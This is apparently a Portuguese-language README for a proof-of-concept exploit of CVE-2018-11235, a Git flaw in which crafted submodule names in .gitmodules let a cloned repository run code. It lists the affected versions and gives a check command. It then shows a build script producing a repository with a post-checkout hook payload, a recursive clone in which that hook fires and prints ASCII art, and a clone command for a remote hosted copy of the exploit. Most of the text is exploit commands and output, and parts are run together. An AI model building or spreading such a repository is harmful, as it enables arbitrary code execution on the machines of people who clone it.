
CVE-2018-11235(PoC && Exp)
$GIT_DIR/modules, o programa não valida corretamente os nomes de submódulos provenientes de arquivos .gitmodules não confiáveis. Um atacante remoto pode explorar essa vulnerabilidade para executar código arbitrário através de um arquivo .gitmodules especialmente criado. As seguintes versões são afetadas: Git anteriores a 2.13.7, versões 2.14.x anteriores a 2.14.4, versões 2.15.x anteriores a 2.15.2, versões 2.16.x anteriores a 2.16.4, versões 2.17.x anteriores a 2.17.1.Versão 2.13.x, menor que 2.13.7 é vulnerável
Versão 2.14.x, menor que 2.14.4 é vulnerável
Versão 2.15.x, menor que 2.15.2 é vulnerável
Versão 2.16.x, menor que 2.16.4 é vulnerável
Versão 2.17.x, menor que 2.17.1 é vulnerável
mkdir tmp && cd tmp
git init test && cd test && git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
Initialized empty Git repository in /tmp/test/.git/ então a vulnerabilidade está presenteInitialized empty Git repository in /tmp/test/.git/
error: Invalid path '.gitmodules'
fatal: git update-index: --cacheinfo cannot add .gitmodules
build.sh para construir este projeto localmente para estudo e teste.git-2.12.1[anonymking@localhost test]$ ./build.sh
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule/.git/
[master (root-commit) 9bb1fad] submodule
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/payload'...
done.
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/Submodule'...
done.
[master (root-commit) fcbf40f] CVE-2018-11235
29 files changed, 560 insertions(+)
create mode 100644 .gitmodules
create mode 160000 Submodule
create mode 100644 modules/1/2/3/4/payload/HEAD
create mode 100644 modules/1/2/3/4/payload/config
create mode 100644 modules/1/2/3/4/payload/description
create mode 100755 modules/1/2/3/4/payload/hooks/applypatch-msg.sample
create mode 100755 modules/1/2/3/4/payload/hooks/commit-msg.sample
create mode 100755 modules/1/2/3/4/payload/hooks/post-checkout
create mode 100755 modules/1/2/3/4/payload/hooks/post-update.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-applypatch.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-commit.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-push.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-rebase.sample
create mode 100755 modules/1/2/3/4/payload/hooks/pre-receive.sample
create mode 100755 modules/1/2/3/4/payload/hooks/prepare-commit-msg.sample
create mode 100755 modules/1/2/3/4/payload/hooks/update.sample
create mode 100644 modules/1/2/3/4/payload/index
create mode 100644 modules/1/2/3/4/payload/info/exclude
create mode 100644 modules/1/2/3/4/payload/logs/HEAD
create mode 100644 modules/1/2/3/4/payload/logs/refs/heads/master
create mode 100644 modules/1/2/3/4/payload/logs/refs/remotes/origin/HEAD
create mode 100644 modules/1/2/3/4/payload/objects/0e/6d9b98b3face913a8ebf48f804d6c8fffba674
create mode 100644 modules/1/2/3/4/payload/objects/9b/b1fad6c6e16340496f2cc0fec46c8159bfc693
create mode 100644 modules/1/2/3/4/payload/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
create mode 100644 modules/1/2/3/4/payload/packed-refs
create mode 100644 modules/1/2/3/4/payload/refs/heads/master
create mode 100644 modules/1/2/3/4/payload/refs/remotes/origin/HEAD
create mode 120000 modules/payload
create mode 160000 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" des_dir
[anonymking@localhost test]$
[anonymking@localhost test]$
[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" test
Cloning into 'test'...
done.
Submodule 'Submodule' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'Submodule'
Submodule '../../modules/payload' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'payload'
Cloning into '/home/anonymking/Desktop/test/test/Submodule'...
done.
Submodule path 'Submodule': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
*********************************************
_ooOoo_
o8888888o
88" . "88
(| -_- |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||- \
| | \\\ - /// | |
| \_| ''\---/'' | |
\ .-\__ `-` ___/-. /
___`. .' /--.--\ `. . __
."" '< `.___\_<|>_/___.' >'"".
| | : `- \`.;`\ _ /`;.`/ - ` : | |
\ \ `-. \_ __\ /__ _/ .-` / /
======`-.____`-.___\_____/___.-`____.-'======
`=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Submodule path 'payload': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
git clone --recursive https://git.dev.tencent.com/anonymking/CVE-2018-11235.git test